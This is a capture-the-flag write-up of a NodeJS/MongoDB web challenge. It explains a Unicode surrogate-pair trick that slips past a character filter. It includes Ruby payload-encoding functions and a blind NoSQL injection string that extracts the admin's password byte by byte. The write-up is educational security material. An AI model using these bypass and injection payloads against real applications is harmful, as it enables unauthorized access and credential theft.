<p>Solution script: <a href="https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/tindermon.rb">https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/tindermon.rb</a></p>
<h3 id="intro">Intro</h3>
<p>This challenge presents us a classic NodeJS + Express app. Source code of index is:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="c"><!--WebSite Created by the admin pikachu--></span>
<span class="nt"><title></span>Welcome to our Pokemon-Tinder!!!!!<span class="nt"></title></span>
<span class="nt"><body</span> <span class="na">style=</span><span class="s">"background: pink"</span><span class="nt">></span>
<span class="nt"><center><h1></span>List of Users Registered in Tindermon<span class="nt"></h1></span>
<span class="nt"><br><br><img</span> <span class="na">src=</span><span class="s">"[/avatar/magikarp](http://tindermon.ka0labs.org/avatar/magikarp)"</span> <span class="na">height=</span><span class="s">"480"</span> <span class="na">width=</span><span class="s">"290"</span><span class="nt">></span>
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"[/avatar/bulbasaur](http://tindermon.ka0labs.org/avatar/bulbasaur)"</span> <span class="na">height=</span><span class="s">"480"</span> <span class="na">width=</span><span class="s">"290"</span><span class="nt">></span>
<span class="nt"><img</span> <span class="na">src=</span><span class="s">"[/avatar/diglet](http://tindermon.ka0labs.org/avatar/diglet)"</span> <span class="na">height=</span><span class="s">"480"</span> <span class="na">width=</span><span class="s">"290"</span><span class="nt">></span>
<span class="nt"></center></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>Two interesting things here:</p>
<ul>
<li>The admin username is pikachu</li>
<li>There’s a route /avatar/<code class="highlighter-rouge">username</code> which, when visited, redirects us to /img/<code class="highlighter-rouge">ìd</code>.jpg where id seems to be the user id.</li>
</ul>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /avatar/magikarp HTTP/1.0
-> 302 Found, Location: /imgs/1.jpg
</code></pre></div></div>
<h4 id="not-that-easy-theres-a-waf">Not that easy, there’s a “WAF”</h4>
<p>Testing some characters show us that there’s some kind of check for the following chars:
<code class="highlighter-rouge">" ' . (space)</code>
Why those characters and not others like > or <? Because (not-so-obviously) what they are trying to avoid is a NoSQL Injection, probably on a MongoDB database.</p>
<p>So logic seems to be:</p>
<ul>
<li>Express router process the request.</li>
<li>Controller search for the URL parameter, which is everything following /avatar/ to the next “/” and is intended to be a username.</li>
<li>Looks for the username in MongoDB, if exists, returns a 302 redirection to users image path.</li>
</ul>
<p>Easy right? We are in front a NoSQL Injection challenge like many others, but this time we need to figure out how to bypass NodeJS checks.</p>
<p>Well, at first, some tricks come to my mind, such as Orange Tsai’s 2017 Black Hat presentation about NodeJS inconsistency on parsing Full-Width Characters: <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf</a></p>
<h3 id="reading-a-bit-about-how-javascript-unicode-decoding-standards-works">Reading a bit about how JavaScript Unicode decoding standards works.</h3>
<p>This article give us some keys <a href="https://mathiasbynens.be/notes/javascript-unicode">https://mathiasbynens.be/notes/javascript-unicode</a>. As the article says, for backwards compatibility with ES5 and older standards, unicode are divided in groups of two, each one of 2 bytes, this are called “surrogate pairs”.</p>
<p>So, for example, the emoji 💩 becomes <code class="highlighter-rouge">\uD83D\uDCA9</code>. How this split is done? The answer is, again, in the same blog: <a href="https://mathiasbynens.be/notes/javascript-encoding">https://mathiasbynens.be/notes/javascript-encoding</a></p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">H</span> <span class="o">=</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">((</span><span class="nx">C</span> <span class="o">-</span> <span class="mh">0x10000</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x400</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xD800</span>
<span class="nx">L</span> <span class="o">=</span> <span class="p">(</span><span class="nx">C</span> <span class="o">-</span> <span class="mh">0x10000</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0x400</span> <span class="o">+</span> <span class="mh">0xDC00</span>
</code></pre></div></div>
<p>Cool, at this point a hint is released, the hint are some emojis, so it’s clear, we need some Unicode trick to bypass NodeJS checks. But, do not forget, those unicodes needs to make sense for MongoDB, which is the final endpoint of our string.</p>
<h3 id="error-error-error-error-victory">Error, error, error, error, victory!</h3>
<p>After a lot of testing and a key of my man X-C3LL, seems that MongoDB is reading the least significant byte of each surrogate pair, well, let’s test if this is true using <code class="highlighter-rouge">"||"1"=="1</code> payload, but remember, we can’t just use <code class="highlighter-rouge">"</code>, so we need to figure out a unicode which contains 0x22 and 0x7C as their least significant bytes of each surrogate pair.</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># This receives a string of two characters, and looks for a unicode hex who's surrogate pairs least significant byte, match each character hex representation.</span>
<span class="k">def</span> <span class="nf">uni</span><span class="p">(</span><span class="n">find</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="mi">0</span><span class="o">...</span><span class="mh">0xFFFFF</span>
<span class="n">h</span> <span class="o">=</span> <span class="p">(((</span><span class="n">i</span> <span class="o">-</span> <span class="mh">0x10000</span><span class="p">)</span> <span class="o">/</span> <span class="mh">0x400</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xD800</span><span class="p">).</span><span class="nf">to_i</span><span class="p">.</span><span class="nf">to_s</span><span class="p">(</span><span class="mi">16</span><span class="p">)[</span><span class="o">-</span><span class="mi">2</span><span class="o">..-</span><span class="mi">1</span><span class="p">].</span><span class="nf">to_i</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nf">chr</span>
<span class="n">l</span> <span class="o">=</span> <span class="p">((</span><span class="n">i</span> <span class="o">-</span> <span class="mh">0x10000</span><span class="p">)</span> <span class="o">%</span> <span class="mh">0x400</span> <span class="o">+</span> <span class="mh">0xDC00</span><span class="p">).</span><span class="nf">to_i</span><span class="p">.</span><span class="nf">to_s</span><span class="p">(</span><span class="mi">16</span><span class="p">)[</span><span class="o">-</span><span class="mi">2</span><span class="o">..-</span><span class="mi">1</span><span class="p">].</span><span class="nf">to_i</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nf">chr</span>
<span class="k">if</span><span class="p">(</span><span class="n">h</span> <span class="o">==</span> <span class="n">find</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&&</span> <span class="n">l</span> <span class="o">==</span> <span class="n">find</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">return</span> <span class="no">URI</span><span class="p">.</span><span class="nf">encode</span> <span class="p">[</span><span class="n">i</span><span class="p">.</span><span class="nf">to_i</span><span class="p">].</span><span class="nf">pack</span><span class="p">(</span><span class="s1">'U'</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>A return without the URI encode for the string <code class="highlighter-rouge">"|</code>, the unicode <code class="highlighter-rouge">\u{1887c}</code> when divided in surrogate pairs:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>H: 0xD822
L: 0xDC7C
</code></pre></div></div>
<p>Their least significant byte’s match with <code class="highlighter-rouge">"</code>and <code class="highlighter-rouge">|</code> respectively.</p>
<p>So we got some restrictions to bypass using this trick, those restrictions are the characters forbidden by backend controller, a bit of code helps me to create strings based on this trick for the restricted characters:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Takes pairs of characters where a forbidden char is and</span>
<span class="c1"># converts it to unicode representation.</span>
<span class="k">def</span> <span class="nf">convert_forbidden</span><span class="p">(</span><span class="n">string</span><span class="p">)</span>
<span class="n">final_string</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">skip</span> <span class="o">=</span> <span class="kp">false</span>
<span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="mi">0</span><span class="o">..</span><span class="n">string</span><span class="p">.</span><span class="nf">length</span><span class="o">-</span><span class="mi">1</span> <span class="k">do</span>
<span class="k">if</span> <span class="o">!</span><span class="n">skip</span> <span class="k">then</span>
<span class="k">if</span> <span class="vg">$waf</span><span class="p">.</span><span class="nf">include?</span> <span class="n">string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">then</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">uni</span><span class="p">(</span><span class="n">string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">string</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span>
<span class="n">final_string</span> <span class="o">+=</span> <span class="n">res</span>
<span class="n">skip</span> <span class="o">=</span> <span class="kp">true</span>
<span class="k">else</span>
<span class="n">final_string</span> <span class="o">+=</span> <span class="no">URI</span><span class="p">.</span><span class="nf">encode</span> <span class="n">string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">end</span>
<span class="k">else</span>
<span class="n">skip</span> <span class="o">=</span> <span class="kp">false</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">return</span> <span class="n">final_string</span><span class="p">.</span><span class="nf">gsub</span><span class="p">(</span><span class="s2">"/"</span><span class="p">,</span><span class="s2">"%2F"</span><span class="p">).</span><span class="nf">gsub</span><span class="p">(</span><span class="s2">"["</span><span class="p">,</span><span class="s2">"%5B"</span><span class="p">).</span><span class="nf">gsub</span><span class="p">(</span><span class="s2">"]"</span><span class="p">,</span><span class="s2">"%5D"</span><span class="p">).</span><span class="nf">gsub</span><span class="p">(</span><span class="s2">"&"</span><span class="p">,</span><span class="s2">"%26"</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>
<p>For the string <code class="highlighter-rouge">"||"1=="1</code> this returns: <code class="highlighter-rouge">%F0%98%A1%BC%7C%F0%98%A0%B1%F0%98%A0%BD=%F0%98%A0%B1</code></p>
<p>Testing on the live application, it works!! <code class="highlighter-rouge">/avatar/%F0%98%A1%BC%7C%F0%98%A0%B1%F0%98%A0%BD=%F0%98%A0%B1</code> returns 1.jpg, the same process but using “1”==”0” instead of “1” ==”1” returns us 404.jpg. So we can confirm the injection.</p>
<h3 id="exploiting-blind-nosql-injection">Exploiting Blind NoSQL Injection</h3>
<p>Now we need to write a bit more code to exfiltrate data, byte by byte. After some digging and refresh of MongoDB basics, it ended up on this payload:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pikachu"&&(this.password.match(/^_string_/))=="_string_"||"1"=="0
</code></pre></div></div>
<p>This will return true only if the string starts with the <em>string</em> value. Look at the script to get more details if you are unfamiliar with Blind techniques.</p>
<h4 id="run-and-gimme-the-flag">Run and gimme the flag!</h4>
<p>Running the final script starts exfiltrating us the password for the user pikachu, character by character, but we know that flag starts with <code class="highlighter-rouge">nn8ed{</code>, so some work is done:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Found! nn8ed{T
Found! nn8ed{Th
Found! nn8ed{Thi
... (lot of time)
Found! nn8ed{This.Old.Challenge.With.Unic0de}
</code></pre></div></div>
<p>So there’s the flag. Super funny challenge, I learned a lot about how NodeJS 8 works with Unicode and how inconsistencies at encoding treatment can compromise a system.</p>
<p>Congratz to ka0labs.org for this great challenge!</p>This weekend, Navaja Negra 8 CTF started, organized by ka0labs.org. This web challenge has the following statement: